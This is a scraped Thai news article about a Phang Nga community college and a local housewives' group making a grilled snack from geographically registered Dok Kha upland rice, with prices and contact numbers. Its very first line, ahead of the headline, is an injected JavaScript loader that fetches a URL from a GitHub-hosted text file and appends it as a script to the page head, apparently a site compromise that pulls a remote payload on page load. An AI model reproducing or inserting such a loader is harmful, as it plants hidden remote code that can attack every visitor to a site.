;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); พังงา-ของหรอย ขนมข้าวไร่ดอกข่าทรงเครื่อง ต่อยอดข้าวไร่ประจำถิ่นเพิ่มมูลค่าสร้างรายได้เพิ่มให้กลุ่มแม่บ้าน - ThaiReference | อาสาไทยยืนยัน
พังงา-ของหรอย ขนมข้าวไร่ดอกข่าทรงเครื่อง ต่อยอดข้าวไร่ประจำถิ่นเพิ่มมูลค่าสร้างรายได้เพิ่มให้กลุ่มแม่บ้าน

ผู้สื่อข่าวรายงานว่า นางเสาวคนธ์ ศรีสุคนธรัตน์ รองผู้อำนวยการวิทยาลัยชุมชนพังงา นำเยี่ยมชมการสาธิตการทำขนมข้าวไร่ดอกข่าทรงเครื่อง ของกลุ่มแม่บ้านบ้านไสเสียด ตำบลบ่อแสน อำเภอทับปุด จังหวัดพังงา ที่ได้นำข้าวไร่ดอกข่า ข้าวประจำถิ่นของจังหวัดพังงาที่ได้รับการขึ้นทะเบียนสิ่งบ่งชี้ทางภูมิศาสตร์(จี.ไอ.)เรียบร้อยแล้ว มาต่อยอดทำเป็นแป้ง ผสมกับ กุ้งฝอย พริกไทยและผักชี นำไปย่างบนเตาถ่านโดยใช้พิมพ์เหล็กโบราณทรงกลม ได้ความหอมกรุ่นจากเตาถ่าน ผสมกับกลิ่นข้าวไร่ดอกข่าและกุ้งฝอย ได้รับประทานคู่กับเครื่องดื่มร้อน หรือเย็น ช่วยเพิ่มอรรถรสมากยิ่งขึ้น ได้รับความชื่นชอบจากผู้ที่ได้ลิ้มลอง จนกลายเป็นอีกหนึ่งขนมขึ้นชื่อของพื้นที่ จำหน่ายในราคาแผ่นละ5บาท นำมาแพคกิ้งใส่กล่องอย่างดีราคากล่องละ50บาท

นางเสาวคนธ์ ศรีสุคนธรัตน์ เปิดเผยว่า ขนมข้าวไร่ดอกข่าทรงเครื่อง เกิดจากการพัฒนาสูตรขนมพื้นบ้านของวิทยาลัยชุมชนพังงา ภายใต้โครงการจัดการความรู้เพื่อเสริมสร้างความสุขและความเข้มแข็งของชุมชนด้านอาหาร โดยได้พัฒนาการทำขนมข้าวไร่ดอกข่าทรงเครื่อง ร่วมกับกลุ่มแม่บ้านไสเสียด ตำบลบ่อแสน จังหวัดพังงา ซึ่งดำเนินงานตามแนวคิดปรัชญาเศรษฐกิจพอเพียง ทำขนมพื้นบ้านโดยใช้ทรัพยากรในท้องถิ่นมาเป็นส่วนผสมวัตถุดิบหลัก จนสามารถสร้างรายได้เพิ่มให้กับกลุ่มแม่บ้านไสเสียด สำหรับผู้สนใจขนมข้าวไร่ดอกข่าทรงเครื่อง สามารถติดต่อ นางประพิม กิ่งแก้ว โทรศัพท์ 0833945564 และนางวิภา  พิทักษ์  โทรศัพท์ 0816773163

ภาพ-ข่าว เกศ จ.พังงา

[dsm_icon_divider use_icon=”on” font_icon=”||divi||400″ use_icon_font_size=”on” icon_font_size=”25px” divider_style=”dashed” _builder_version=”4.25.2″ _module_preset=”default” module_alignment=”center” global_colors_info=”{}”][/dsm_icon_divider]
[dsm_blog_carousel posts_number=”20″ posts_offset=”1″ include_categories=”3,5,4″ use_date=”off” use_category=”on” use_author=”off” use_readmore=”on” readmore_text=”อ่านเพิ่ม…” post_equal_height=”on” _builder_version=”4.25.2″ _module_preset=”default” title_font_size=”25px” min_height=”482px” custom_margin=”||639px||false|false” custom_padding=”||340px|||” global_colors_info=”{}”][/dsm_blog_carousel]